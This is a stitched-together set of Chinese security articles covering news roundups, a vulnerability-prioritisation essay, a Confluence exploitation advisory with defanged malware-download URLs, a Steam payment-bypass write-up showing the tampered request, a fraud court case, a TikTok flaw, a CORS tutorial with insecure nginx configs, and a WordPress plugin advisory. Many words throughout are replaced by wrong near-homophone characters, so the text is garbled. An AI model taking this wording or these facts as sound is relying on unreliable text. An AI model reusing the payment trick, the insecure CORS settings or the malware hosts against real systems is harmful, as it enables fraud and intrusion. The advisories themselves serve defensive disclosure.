随着企业在大风行中重组，IT团队的要害工作是放弃失常运行。寻找额定的外部资源来进行业务连续性(BC)布局通常排在第二位，许多领有更简单的混合技术堆栈的公司根本无法做到这一点。 相比之下，因为明天的云文件存储产品能够将文件“回滚”到事件产生时，公司的BC布局和相关检查和测试比以前容许的外部部署存储基础设施更简略、更快、资源密集度更低。云意味着更简略的布局（以及更无效的复原）勒索软件攻打。 新闻来源：https://www.helpnetsecurity.c...

平安资讯报告 Microsoft Azure抵挡迄今为止规模最大的DDoS攻打 分布式拒绝服务(DDoS)攻打产生得越来越频繁，而且规模越来越大。微软刚刚胜利进攻欧洲Azure云用户的DDoS攻击速度为2.4TB/秒(Tbps)，这可能是迄今为止DDoS攻打规模最大的一次。 咱们能够必定的是，这是针对Azure云客户的最大DDoS攻打。它2020年的Azure1Tbps攻打，微软报告称其“高于之前在Azure上检测到的任何网络容量事件”。 攻打自身来自70,000多个起源，攻打向量是用户数据报协定(UDP)反射攻打。攻打继续了10多分钟，暴发工夫很短。这些暴发中的每一个都在几秒钟内回升到TB级。微软总共看到了三个次要峰值，第一个为2.4Tbps，第二个为0.55Tbps，第三个为1.7Tbps。 新闻来源： https://www.zdnet.com/article... 美国招集来自30个国家的盟友和合作伙伴，独特打击影响寰球的勒索软件组织 反勒索软件倡导会议是为了应答继续的攻打，包含对美国ColonialPipeline、JBSFoods和Kaseya的勒索软件攻打，这些攻打揭示了寰球要害基础设施的重大破绽。 一位高级政府官员在背景媒体中对记者说：“咱们咱们正在推动一场虚构会议。来自30多个国家和欧盟的部长和高级官员将退出会议，以放慢单干打击勒索软件”明天打电话。 “反勒索软件倡导将举办为期两天的会议，参与者将涵盖从进步国家还原力的致力，到解决滥用虚构货币来洗钱领取的教训，咱们各自为扰乱和起诉勒索软件犯罪分子所做的致力，以及作为一种反抗勒索软件的工具。” 本周会议将涵盖的畛域（国家还原力、打击非法金融、毁坏和内政）与拜登政府的反勒索软件致力统一，这些致力依照四个不同的方向组织： 1.毁坏勒索软件基础设施和参与者。 2.加强抵挡勒索软件攻打的弹性。 3.解决滥用虚构货币进行赎金领取的问题。 4.和利用国内单干毁坏勒索软件生态系统并解决勒索软件犯罪分子的平安港问题。 作为继续打击勒索软件网络犯罪团伙的一部分，总统拜登还公布了一份美国平安备忘录，通过为所有者和运营商设定基线性能指标来增强要害基础设施网络安全。 新闻来源：https://www.bleepingcomputer.... 安全漏洞威逼 微软正告针对Office 365客户的明码攻打 微软示意，美国和以色列国防技术畛域的250名Office 365客户已成为“明码喷射”攻打的指标，攻击者试图应用罕用明码拜访许多帐户。该技术依赖于应用常见明码的用户。 明码攻打的重点是在波斯湾经营的要害基础设施公司，由微软跟踪的DEV-0343组织施行。 微软威逼情报中心(MSTIC)示意，它曾经察看到DEV-0343“对超过250个Office365租户进行了宽泛的明码喷洒，重点是美国和以色列国防技术公司、波斯湾入境口岸或寰球海运公司在中东有业务存在。”微软示意，目前不到20个指标租户被胜利入侵。 新闻来源：https://www.zdnet.com/article... 诈骗者滥用Apple开发者打算 Sophos本周公布了一份对于约会应用程序骗局的新报告，该骗局导致Tinder、Bumble、Grindr、FacebookDating和相似应用程序上的人们窃取了数百万美元。 在取得对这些约会应用程序的信赖后，诈骗者压服受害者下载虚伪的加密应用程序，而后在解冻账户之前坑骗他们进行投资。 钻研人员说，这个名为“CryptoRom”的骗局已导致美国和欧盟的受害者至多被盗140万美元。两人在他们的报告中说，攻击者不再是追捕亚洲的受害者，而是当初瞄准欧洲和美国的人。 Sophos的钻研人员甚至设法找到了一个被攻击者管制的比特币钱包，这要归功于一名受害者，他分享了他在被拒之门外之前最后将钱汇到的地址。 Chandraiah示意，CryptoRom骗局简直在每个阶段都重大依赖社会工程。 新闻来源：https://www.zdnet.com/article... 每15个组织中就有1个运行着已被利用的SolarWinds版本 网络安全公司Randori的一份新报告对攻击者可能追踪和利用的最迷人的互联网裸露资产进行了分类，发现每15个组织中就有一个目前运行着已知会被踊跃利用的SolarWinds版本。 在2021年Randori攻击面报告中，钻研人员为每项资产调配了一个“引诱分数”——实际上是攻击者追踪它的可能性。任何得分超过30的裸露资产都被认为是高分，目前在其语料库中排名最高的资产的攻击者引诱得分为55。被踊跃利用的SolarWinds版本的均匀引诱得分为40。 该报告发现，超过25%的组织将RDP裸露在Internet上，而15%的组织仍在运行过期的IIS6版本，微软曾经六年不反对该版本了。Randori给IIS6的引诱评分为37。 近40%的组织应用思科的自适应安全设备(ASA)防火墙，该防火墙有公开破绽的历史，引诱分数为37。简直一半的组织都运行CitrixNetScaler，其分数为33并且存在多个公开破绽。只有 3% 的组织仍在运行 Microsoft Outlook Web Access 的版本。 新闻来源： https://www.zdnet.com/article... MysterySnail应用Windows零日攻打 2021年8月下旬和9月上旬，卡巴斯基技术检测到在多个Microsoft Windows服务器上应用特权晋升破绽的攻打。该破绽利用中有许多来自旧的、家喻户晓的破绽CVE-2016-3309破绽利用的调试字符串，但更认真的分析表明这是一个零日破绽。 钻研人员发现它在Win32k驱动程序中应用了一个以前未知的破绽，并且利用在很大水平上依赖于透露内核模块基地址的技术。破绽利用链的信息披露局部被辨认为未绕过平安边界，因而未修复。Microsoft调配了CVE-2021-40449Win32k内核驱动程序中的开释后应用破绽，并于2021年10月12日修补，作为10月补丁星期二的一部分。 除了在野外发现零日破绽之外，钻研人员还剖析了与零日破绽利用一起应用的恶意软件有效载荷，并发现在针对IT公司、军事/国防承包商和内政实体的宽泛间谍活动中检测到了恶意软件的变体。 钻研人员称这个流动集群为MysterySnail。其代码相似性和C2基础设施的重用，将这些攻打能够与2012年的IronHusky和APT流动分割起来。 新闻来源：https://securelist.com/myster...

1.背景介绍在2020年9月的“Gartner平安危险与治理峰会”上公布的《2020-2021 Top Security Projects》中，首次正式提出“Risk-Based Vulnerability Management”（基于危险的弱点治理）我的项目，作为TOP 10的第二项（在2018和2019年叫“合乎CARTA方法论的弱点治理我的项目”，于2020年进行了从新定义）。 破绽优先级技术（VPT）导论其我的项目关键点形容是：要意识到永不可能100%打补丁；和IT运维联合行动（发明双赢）；利用现有的扫描数据和流程；用VPT（“Vulnerability prioritization technology”破绽优先级技术）工具来加强弱点评估以更好的确定优先级。 为了让形容更精确，对“Vulnerability”进一步做解释。在信息安全畛域，它蕴含的意义有：破绽、弱点、脆弱性三个。 破绽：在硬件、软件、协定的具体实现或零碎安全策略上存在的缺点，从而能够使攻击者可能在未受权的状况下拜访或毁坏零碎；弱点：依照Tenable的形容，它蕴含破绽，以及除破绽以外的配置不当、弱口令、信息泄露等等；脆弱性：依照GB/T 20984的形容，它蕴含技术脆弱性和治理脆弱性，也就是蕴含了上述提到的弱点以及ISMS中蕴含的治理平安项。这里提出以上三点的起因是，在咱们钻研了大量材料后发现，尽管在Gartner和一些其余的计划中，都会提到“VPT”，然而它有时候代表的是“破绽优先级技术”，而有时候代表的是“弱点优先级技术”（幸好它们简直思考的都是技术平安，而没有探讨“综合脆弱性”的问题，让这个话题略微简略了一些）。 在本文撰写时，因为国内对该概念以及实现尚处于萌芽阶段，所以本文所探讨的内容，将限定在“破绽优先级”。而更狭义的“弱点优先级”会在之后的文章中另做探讨。 2.VPT的行业认知Gartner在2020年9月公布了“基于危险的弱点治理”我的项目之后，又别离于2021年6月25日公布了“Market Guide for Vulnerability Assessment”（破绽评估市场指南），以及在2021年7月23日公布了“Hype Cycle for Security Operations, 2021”（2021平安经营技术成熟度模型）。 在《破绽评估市场指南》中，提出了明确的倡议：“利用破绽优先级技术 （VPT）解决方案施行基于危险的破绽治理办法，将破绽后果带到对立平台以进行优先级排序和解决（例如修补），进步平安经营效率”。并且对于VPT的技术要求进行了定义，咱们在下述技术章节中将进行形容。 在《平安经营技术成熟度模型》中咱们能够看出，VPT技术是一个新兴的，并且正处于“最具期待性”的巅峰技术，其间隔被市场广泛认可以及产品成熟期，还须要大概2-5年的工夫。 依据调研，该技术的收益评级为：高；市场渗透率为：20%-50%。 很多官网给出的定义和方法论为了严谨性，都写的过于冗余和简单。咱们用最接地气的说法就是： 在平安经营工作中，想修复所有的破绽简直不可能，VPT是采纳某些办法和流程，动静的将须要修复的破绽进行优先级排序和流程优化，进步修复效率，以达到用起码的工夫实现最好的成果。 3.VPT倒退的偶然性WhiteHat Security在其《利用平安状态纵览》钻研报告中显示：截止2021年5月，全美公共事业部门均匀破绽修复工夫在205天，全副利用中超过66%存在至多一个可利用的凋谢破绽；制造业60%以上的利用存在超过365天的破绽裸露窗口期；金融业约40%的利用具备365天的破绽裸露窗口期。 咱们有理由置信，国内的整体平安现状并不会比美国强多少（或者并不会比美国强）。对于破绽的检出和处理的话题、技术和产品，在国内曾经超过20年了，在美国的工夫更长。为什么随着平安技术越来越成熟，平安产品的品类越来越多，破绽修复工夫却越来越长，平安经营的工作量反而增多了，成果反而变差了？ 咱们认为，次要有以下3个方面的起因： IT行业的技术和利用更加丰盛。在传统互联网时代，大部分破绽集中在操作系统、中间件、业务利用等方面，而随着挪动互联网、云技术、IOT等的遍及和利用，破绽影响的范畴成倍数的减少了；破绽的数量增长迅速。以美国国家破绽库（NVD）在2017年到2019年公布的后果来看，3年工夫里破绽从9837个/年增长到16500个/年。我国的国家信息安全破绽共享平台（CNVD）显示，2020年破绽总数量为20239个；尽管平安产品和技术品种减少了，然而很多并没有聚焦到如何间接克制黑客攻击。我国为了增强在破绽治理方面的力度，切实有效的间接防备国内外黑客攻击，在2021年7月12日由工业和信息化部、国家互联网信息办公室、公安部三部门联结公布了《网络产品安全漏洞治理规定》，并于2021年9月1日实施。这是我国第一次将破绽治理和法律责罚联合在一起公布的文件，这也体现了网络安全中进行高效破绽治理的重要性，标记着我国在破绽治理方面将进行强力度的整改。 只管《规定》中并未对操作细节和技术要求进行定义，然而曾经明确阐明了主体责任和相干罚则。 在日益成熟的DevSecOps畛域，美国权威开源软件机构WhiteSource公布了《DevSecOps深度剖析报告——平安vs.开发: DevSecOps的决战》，考察显示，目前尽管大部分成熟的机构都在DevSecOps畛域有所建树，然而依然存在以下四个次要问题： 咱们能够看到，在技术关键点上，破绽优先级的确定以及相干流程的欠缺，是影响DevSecOps成熟的次要问题。以下为报告援用： 平安左移是DevSecOps的重要局部之一，而平安左移的同时，白盒检测等相干的平安检测产品会爆出大量开发阶段的安全漏洞，并且无论是白盒还是黑盒平安检测，检测的工具越丰盛、伎俩越多，破绽数量就越丰盛。然而如上所述，DevSecOps遇到的第一个问题就是“大多数平安人员和开发人员都感到被迫要在安全性上斗争，以满足最初交付期限的要求”。产品的Deadline是开发人员无奈冲破的，所以确定破绽优先级，并解决最须要解决的问题就势在必行。 4.VPT的原理和实现通过综合钻研Gartner的各类技术报告和方法论，以及Tenable和WhiteSource等组织的报告、钻研后果和解决方案，咱们认为在VPT（破绽优先级）的产品实现上应该做到以下几点： Step1：建设破绽情报库并进行动静的破绽应急响应破绽情报库并非破绽库，目前很多人将其一概而论。破绽情报库应该蕴含至多4方面的内容： 较欠缺的破绽库，其中至多应蕴含：CVE、CWE、NVD、CNVD、CNNVD等惯例破绽库；全国或寰球攻击面测绘数据；在朝EXP库；破绽开源情报。对于破绽情报要进行动态分析，尤其要关注0day和1day开源情报。对在朝EXP的继续技术剖析、0day和1day开源情报的破绽剖析，以及这些破绽在全国和寰球范畴的影响度和攻打可能性的剖析。 这些数据将是破绽优先级排序的重要参数之一。 在这方面，Tenable给出了很好的示范。 一方面，他们对于在朝破绽可应用状况进行了统计分析： 在每年新发现的近20000个破绽中，即便平安团队修补了所有高危和重大破绽，也不过只修复了24%的可利用破绽，而这更意味着，平安团队有76%的工夫耗费在短期内简直无风险的破绽上。更蹩脚的是，有44%的短期可被利用的破绽被评为中低危险，而很可能被疏忽掉。 这里的起因正如卡内基梅隆大学软件工程研究所所述：CVSS旨在辨认破绽的技术严重性。相同，人们仿佛想晓得的是，破绽或缺点给他们带来的危险，或者是他们面对破绽应该有如何的反应速度。 惋惜的是，目前简直所有国内外破绽扫描报告、浸透测试报告或破绽评级都是根据这个办法定义的。 另一方面，Tenable在通过对20万亿破绽情报等数据进行人工剖析和机器学习后认为平安团队应该优先关注的破绽占所有破绽的3%左右。 Step2：建设破绽优先级模型3%的破绽须要优先解决，也就意味着，平安团队在破绽优先级排序技术的帮忙下，仅须要耗费比以前少的多的工夫和精力，就能够使平安达到一个较高的程度，能够将其余工夫和精力破费在更紧急和须要实现的工作上。 Step3：绘制残缺的网络资产攻击面破绽优先级并不是针对某一部分IT资产，而应该是企业或组织外部所有管辖的IT资产。传统认知的IT资产，包含服务器、数据库、中间件、业务利用等，而当初咱们应该关注的，除了传统认知的IT资产以外，还应该蕴含挪动APP、小程序、云端资产、容器、IOT设施等等。 尤其是要重点关注的还应该包含两类：一类是影子资产的存在和检出，因为无论是实在的黑客攻击，还是在护网等我的项目中，影子资产往往是最容易被平安团队疏忽和最易受到攻打的；另一类是安全设备自身，这也是非常容易被疏忽的，然而从近几年护网和1day事件来看，安全设备自身呈现问题不足为奇，并且如果呈现了问题，往往导致整体安全性骤然升高。 绘制残缺的网络资产攻击面，是实现VPT场景化解决方案的辅助伎俩。当初的技术方向属于“网络空间测绘”或“CAASM（网络资产攻击面治理 ）”。这个能力能够是VPT产品的自有能力，也能够是集成相干产品的能力。 Step4：适应DevSecOps并具备自动化能力VPT另外一个外围能力要求，就是要“利用现有破绽扫描工具和各种破绽数据”，这不仅仅是Gartner方法论中提出的要求，而是只有做到了这个要求，能力更无效的将VPT技术整合在DevSecOps流程中。它应该蕴含至多3方面的能力： 合乎DevSecOps和组织的根本流程，并能够在某些水平上根据组织的要求进行定制；可能集成各类破绽数据源，包含：网络扫描器、Web扫描器、APP扫描器、白盒审计、浸透测试、众测数据（甚至能够自建企业SRC）等等；对于组织自开发的业务利用，应该具备破绽算法和调优的能力（能够思考应用机器学习），因为企业自开发的业务利用发现的一些破绽，往往很难匹配到通用破绽中。此外，Gartner对于VPT的要求中提到，其应该具备肯定的SOAR能力，也就是说，它应该具备破绽相干产品的自动化调用和具备肯定的流程编排能力。 5.对于VPT的期待VPT（破绽优先级技术）是一个破绽治理（VM）畛域的微翻新技术。目前国内上对于VPT的认可度正突飞猛进，但国内尚处于萌芽阶段，作为信息安全从业者，咱们有任务对该技术进行推广和实现。咱们是国内最早在该技术方向进行产品研发和计划落地的公司，并于往年7月在“ISC 2021互联网安全大会”上进行了主题演讲和技术分享。心愿它们可能无效的进步平安工作的效率，晋升企业平安经营的成果。

8月26日，Atlassian官网发布公告，披露了一个Atlassian Confluence 近程代码执行破绽（CVE-2021-26084)，攻击者利用破绽可齐全管制服务器。8月31日晚，腾讯云原生安全漏洞检测响应平台通过主机平安（云镜）检测到首个利用该破绽的在朝攻打案例。 腾讯平安旗下全系列企业级产品均已反对检测进攻利用Atlassian Confluence近程代码执行破绽的攻打流动。 腾讯云上平安产品全栈提供针对Confluence近程代码执行破绽的检测防护能力，政企用户运维人员扫描辨认以下二维码，增加腾讯平安小秘书，即可申请收费试用。 腾讯平安专家指出，只管咱们迅速作出响应，及时向公众通报本次安全漏洞的危险，并胜利在其余钻研人员将破绽POC(概念验证代码）上传到Github之前10小时检测到攻打测试流量，但网络黑产利用该破绽发动攻打的速度之快，令团队成员印象粗浅。 腾讯平安专家再次揭示所有采纳Atlassian Confluence作常识治理和协同利用的政企客户，尽快降级到平安版本以修复破绽。腾讯平安网络空间测绘数据显示，Atlassian Confluence利用宽泛，中国占比为寰球最高（21.46%）、其次是美国（21.36%）、德国（18.40%）。 截止9月2日，腾讯平安团队已检测到至多7个网络黑产团伙在利用该破绽发动的攻打口头，已部署腾讯T-Sec主机平安专业版、T-Sec Web利用防火墙的客户胜利抵挡黑客攻击，爱护数千台主机免于失陷。 腾讯平安检测到黑客攻击流动示例： kwroksminer挖矿木马家族利用CVE-2021-26084破绽的攻打2.h2miner挖矿木马家族利用CVE-2021-26084破绽的攻打 8220Miner挖矿木马家族利用CVE-2021-26084破绽的攻打4.mirai僵尸网络利用CVE-2021-26084破绽的攻打 5.BillGates僵尸网络利用CVE-2021-26084破绽的攻打 工夫线： 1.2021年8月25日，Atlassian官网公布平安通告，披露了一个Atlassian Confluence 近程代码执行破绽（CVE-2021-26084)，攻击者利用破绽能够齐全管制服务器；2.2021年8月26日，腾讯平安公布危险通告；3.2021年8月31日，腾讯平安捕捉Atlassian Confluence 近程代码执行破绽在朝利用； 2021年9月1日，破绽poc公开在Github;5.2021年9月1日晚，腾讯平安检测到多个不同的挖矿木马团伙、僵尸网络团伙利用Atlassian Confluence 近程代码执行破绽洞攻打云主机；6.2021年9月2日，腾讯平安检测到利用该破绽攻打的黑产团伙减少到7个，挖矿家族5个：kwroksminer，iduckminer，h2miner，8220Miner，z0miner；僵尸网络家族2个：mirai，BillGates，腾讯平安全栈平安产品胜利爱护数千台云主机免于失陷。 IOCsURL hxxps://raw.githubusercontent.com/alreadyhave/thinkabout/main/kwork.sh hxxps://zgpay.cc/css/kwork.sh hxxp://iduck.it/index.js hxxp://iduck.it:58441/ld.sh hxxp://178.238.226.127:58321/ld.sh hxxp://195.19.192.28/cf.sh hxxp://209.141.40.190/xms hxxp://209.141.40.190/wxm.exe hxxp://27.1.1.34:8080/docs/s/conf.txt hxxp://185.142.236.33/mirai.x86 hxxp://213.202.230.103/syn IP 109.237.96.124 122.118.114.152 125.212.150.123 185.244.148.215 195.19.192.26 196.240.57.172 2.57.33.43 213.173.35.232 213.202.230.103 223.71.46.114 34.125.87.11 45.155.205.249 62.76.41.46 82.102.25.52 89.223.91.225 参考资料：https://mp.weixin.qq.com/s/11... https://confluence.atlassian....

翻译：王宇@零零信安 美国权威开源软件机构WhiteSource公布的《DevSecOps 深度剖析报告》（零零信安翻译和整顿）中指出:在整个DevSecOps过程中面临的最大挑战是“破绽优先级”的确定和执行。大多数平安人员和开发人员都被迫在安全性上斗争，以满足Deadline的要求；购买应用软件查看工具是为了“合规”，而不是思考开发人员的需要和流程；平安人员面临的最大挑战是确定破绽优先级，所以“破绽优先级技术（VPT）”的遍及和施行是DevSevOps胜利落地的重要组成部分之一。

前几天刷到一个Steam领取破绽新闻，但形容的细节很毛糙，大略都是这样的： 近日，Hackerone(黑客街：出名寰球破绽众测平台，发现应用程序破绽提交后可取得赏金）上的一名黑客 drbrix 发现了steam的一个重大破绽，该破绽容许用户无限度的收费向steam钱包中增加资金，来看下详细情况据悉，这个破绽与荷兰领取平台Smart2Pay无关，这个破绽容许steam用户收费的增加无限度的资金到steam钱包中，细节操作则是在用户通过特定电子邮件这一付款选项结账时，能拦挡交易并将steam钱包中的余额收缩至有数倍。侥幸的是目前除了这位黑客，还没人发现这个破绽，他被迫也将这个bug提交给了V社，V社看到后立即修复了这个BUG并处分了这位黑客7500美元（约合人民币48576元）形容的很令人好奇，为什么用特定邮箱就能实现绕过校验充值？邮箱跟充值又怎么扯上分割的？但手机上不不便搜寻，于是就放着了。 明天又想起这个来，顺手搜了一下，搜到了原文 Modify in-flight data to payment provider Smart2Pay 简略的复述一下 drbrix 的报告。 依据报告，破绽产生在 Steam钱包充值 的流程中，失常进入领取页面，而后领取形式要抉择 Smart2Pay 的领取形式，（Smart2Pay 我在国区登录中没看到，搜了下，发现也是一种领取渠道，反对上百种领取形式）。 之后能看到申请信息 POST / HTTP/1.1Host: globalapi.smart2pay.comContent-Length: 388Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"Sec-Ch-Ua-Mobile: ?0Upgrade-Insecure-Requests: 1Origin: https://store.steampowered.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://store.steampowered.com/Accept-Encoding: gzip, deflateAccept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7Connection: closeMerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███作者形容，因为签名有校验，所以不能随便的增删批改签名，hash逻辑大略是这样的 hash(MerchantID1102MerchantTransactionID█████Amount2000.....) 。 接下来就是比拟骚的思路了，增删和批改数字无奈通过校验，然而调整签名的字符程序后仍然能通过校验。像是 Amount=2000 批改为 Amount2=000。 但单纯这样没用，短少了 Amount 字段。此时就要想方法结构一个新的 Amount 字段，既不能减少也不能缩小，那么只能拿原有的字段值来调整，在用户手上惟一能批改的就是邮箱名称，所以作者在结尾说道这个办法不得不批改你的邮箱。作者将邮箱批改为 brixamount100abc@█████ 其中带上了关键字 amount100， ...

1.用户体系云控制台用户体系分为两种，一种是租户，另外一种是用户，租户上面有本人的用户，用户能够退出多个租户上面。在租户控制台中可能查看到其对应的用户列表。 2.问题租户下的用户列表在租户控制台中能够查看到，在用户控制台不能够看到所有用户列表，在浏览器页面间接拜访对应的url是不能够的，但通过接口拜访用户列表，传入的token角色是用户角色，也能够看到用户列表。 3.解决办法用户列表接口短少用户角色的判断，加上对应的角色判断，使其返回空值。 4.低危破绽nginx版本信息不能裸露到响应头信息中批改nginx.conf文件service nginx reload

日前，#大学生利用肯德基破绽欺骗 20 余万元# 的话题呈现在微博热搜榜，引起大量关注。 据悉，在校大学生徐某利用肯德基 APP 客户端和微信客户端之间数据不同步的破绽，骗取兑换券或取餐码，发售给别人牟利，并将该办法传授给同学，给肯德基所有者百盛公司造成 20 余万元的损失。 近日，上海市徐汇区人民法院开庭审理了该案，徐某等五人因犯诈骗罪、传授立功办法罪被判有期徒刑两年六个月至一年三个月不等并处罚金的刑罚。 肯德基零碎出 bug，大学生钻破绽，被判诈骗罪2018 年 4 月，江苏某大学在校生徐某在利用肯德基客户端点餐过程中，无意间发现了两个破绽。 第一个是在 APP 客户端用套餐兑换券下单，进入待领取状态后暂不领取，之后在微信客户端对兑换券进行退款操作，而后再将之前客户端的订单勾销，能够从新获取兑换券。此种形式分文未付即可获取一份兑换券。 第二个是先在 APP 客户端用套餐兑换券下单待领取，在微信客户端退掉兑换券，再在 APP 客户端领取，这时便能够领取胜利并取得取餐码。此种形式相当于分文未付骗取了一份套餐。 在发现肯德基的系统漏洞后，徐某将以这两种形式得来的套餐产品通过线上交易软件高价发售给别人，从中非法获利；同时将该办法传授给丁某等 4 名同学。 截至同年 10 月案发，徐某的行为造成百盛公司损失 5.8 万余元，丁某等四人造成百盛公司损失 0.89 万元至 4.7 万元不等。 上海市徐汇区人民法院审理后认定各被告人明知百胜公司旗下品牌肯德基 APP 客户端和微信客户端自助点餐零碎存在数据不同步的破绽，仍以非法占有为目标，进行虚伪交易，进而非法获取财物的行为为诈骗罪。 依据被告人立功的事实、性质、情节和对于社会的危害水平，徐汇法院依法认定徐某犯诈骗罪，判处有期徒刑二年，并处罚金人民币六千元；犯传授立功办法罪，判处有期徒刑十个月，决定执行有期徒刑二年六个月，并处罚金人民币六千元。丁某等四人皆因雷同案由被别离认定为诈骗罪或诈骗罪、传授立功办法罪，别离被判处有期徒刑两年至一年三个月，并处罚金人民币四千元至一千元不等的刑罚。 《中华人民共和国刑法》相干法条如下： 起源：http://extwprlegs1.fao.org/do... 「薅羊毛」真香？小心被判刑在各种购物节、促销流动流行的当下，很多人都经验过凑满减、抢红包、熬夜抢购…… 但并非什么便宜都能占。在搜索引擎中输出「薅羊毛被判刑」，咱们会看到一长串链接。 仅从这几个事件中，咱们就能看到「盗窃罪」、「诈骗罪」、「非法获取计算机信息零碎数据罪」的身影。 薅羊毛虽香，但也要「讲武德」。 参考链接：https://mp.weixin.qq.com/s/Te...

网络安全钻研人员披露了 TikTok 中一个当初曾经修补好的安全漏洞，这个破绽可能会让攻击者建设一个应用程序用户及其相干电话号码的数据库，以备将来歹意流动之需。 Check Point Research 在与 The Hacker 分享的一份剖析报告中说，只管这个破绽只会影响那些将电话号码与本人的账户分割起来或者登录到电话号码的用户，但胜利利用这个破绽可能会导致数据泄露和隐衷进犯。依据 Check Point 钻研人员的负责任的披露，TikTok 曾经部署了一个补丁来解决这个破绽。 TikTok“查找好友”性能存在破绽这个新发现的破绽存在于 TikTok 的“查找好友”性能中，该性能容许用户将他们的联系人与服务同步，以辨认潜在的关注对象。 联系人通过 HTTP 申请以列表的模式上传到 TikTok，该列表由联系人姓名和相应的电话号码组成。 下一步，应用程序收回第二个 HTTP 申请，检索连贯到前一个申请中发送的电话号码的 TikTok 配置文件。这个响应包含个人资料名称、电话号码、照片和其余与个人资料相干的信息。 尽管上传和同步联系人申请被限度在，每天每位用户和每台设施的联系人为 500 人，但 Check Point 钻研人员找到了一种办法来解决此限度，通过获取设施标识符，服务器设置的会话 Cookie，惟一应用 SMS 登录到帐户并在运行 Android 6.0.1 的模拟器中模仿整个过程时设置的称为“ X-Tt-Token”的令牌。 值得注意的是，为了从 TikTok 应用程序服务器申请数据，HTTP 申请必须蕴含 X-Gorgon 和 X-Khronos 标头以进行服务器验证，以确保音讯不被篡改。 然而，通过批改 HTTP 申请（攻击者心愿同步的联系人数量），并用更新的音讯签名从新签名，该破绽使大规模上传和同步联系人的过程自动化成为可能，并创立了一个关联账户及其连贯电话号码的数据库。 TikTok 发动赏金我的项目，重大破绽发现者有机会取得 14800 美元这曾经不是第一次发现风行的视频分享应用程序存在安全漏洞了。 2020 年 1 月，Check Point 的钻研人员发现了 TikTok 应用程序的多个破绽，这些破绽可能被用来获取用户账户并操纵其内容，包含删除视频、上传未经受权的视频、公开私人“暗藏”视频，以及泄露保留在账户上的个人信息。 去年四月份，平安研究员 Talal Haj Bakry 和 Tommy Mysk 揭发了 TikTok 的破绽，这些破绽使得攻击者能够通过重定向应用程序到一个假的服务器来显示伪造的视频，包含那些来自认证账户的视频。 ...

0x1 CORS机制CORS全名跨域资源共享(Cross-Origin-Resourece-sharing),该机制次要是解决浏览器同源策略所带来的不便，使不同域的利用可能忽视同源策略，进行信息传递。 援用一张图能很好地阐明CORS机制的作用 0x2 CORS机制实现那么这个机制是怎么发挥作用的呢？ CORS的规范定义是:通过设置http头部字段，让客户端有资格跨域拜访资源。通过服务器的验证和受权之后，浏览器有责任反对这些http头部字段并且确保可能正确的施加限度。为了更好了解这个过程，咱们首先理解下相干的http头部字段 申请头 阐明 响应头 阐明 那么这个机制,具体能够总结为上面这个图片 所有的申请实际上都曾经收回了，只不过浏览器解析的时候依据返回的http头部字段来选择性拦挡了而已。 0x3 如何配置CORS0x3.1 配置中间件nginx实现CORS跨域这个点我就从网上经典的例子来找的，其实默认这样设置存在很多问题，0x4的时候我会讲相应的攻打思路 我过后google了一下搜寻nginx配置跨域CORS) 经典配置一: location / { add_header Access-Control-Allow-Origin *; add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS'; add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization'; if ($request_method = 'OPTIONS') { return 204; }}经典配置二: location / { add_header Access-Control-Allow-Origin $http_origin; add_header Access-Control-Allow-Methods GET,POST,OPTIONS; add_header Access-Control-Allow-Credentials true; add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type; add_header Access-Control-Max-Age 1728000;}比拟正当的配置计划(加上白名单查看): location / { # 查看域名后缀 这里进行了查看 if ($http_origin ~ .test.com) { add_header Access-Control-Allow-Origin $http_origin; add_header Access-Control-Allow-Methods GET,POST,OPTIONS; add_header Access-Control-Allow-Credentials true; add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type; add_header Access-Control-Max-Age 1728000; } # options申请不转给后端，间接返回204}0x3.2 单服务PHP简略管制头部形式当年某一个SSRF的破绽，我就是天真的没有设置跨域申请，不相熟，导致失落了一血，十分遗憾哇。 ...

腾讯平安团队检测到 WordPress 插件 File Manager 被曝存在一个重大破绽，攻击者利用该破绽能够在含有 File Manager 的 WordPress 网站上执行上传木马，执行任意命令和歹意脚本。截至2020.09.06，依据 Wordpress 插件市场给出的数据WordPress File Manager沉闷装置量约为 60万+ ，约有78.7% 的用户仍在受影响的范畴内。腾讯平安已捕捉在朝利用，目前腾讯 T-Sec Web 利用防火墙已反对进攻。 破绽详情腾讯平安团队检测到 WordPress 插件 File Manager 被曝存在一个重大破绽，攻击者利用该破绽能够在含有 File Manager 的 WordPress 网站上执行人上传木马，执行任意命令和歹意脚本。在wordpress.org的插件库中，File Manager在2020.09.01之前提供的版本为v6.8 ，为受影响版本。能够被攻击者用于毁坏网站。默认状况下，无需认证能够间接关上文件 lib/php/.php，并且该文件加载lib/php/.php，该文件读取POST/GET变量，而后容许执行一些外部性能，例如上载文件。容许应用PHP代码，因而会导致未经身份验证的任意文件上传和近程代码执行。请用户及时更新相干插件，或采取相干防护措施。腾讯平安已捕捉在朝利用，目前腾讯 T-Sec Web 利用防火墙已反对进攻。 破绽影响WordPress File Manager < 6.9 防护计划官网公布降级插件修复该破绽，腾讯平安建议您： 更新 WordPress File Manager 版本至6.9 及以上举荐采取腾讯T-Sec Web利用防火墙检测并拦挡此次攻打参考链接： 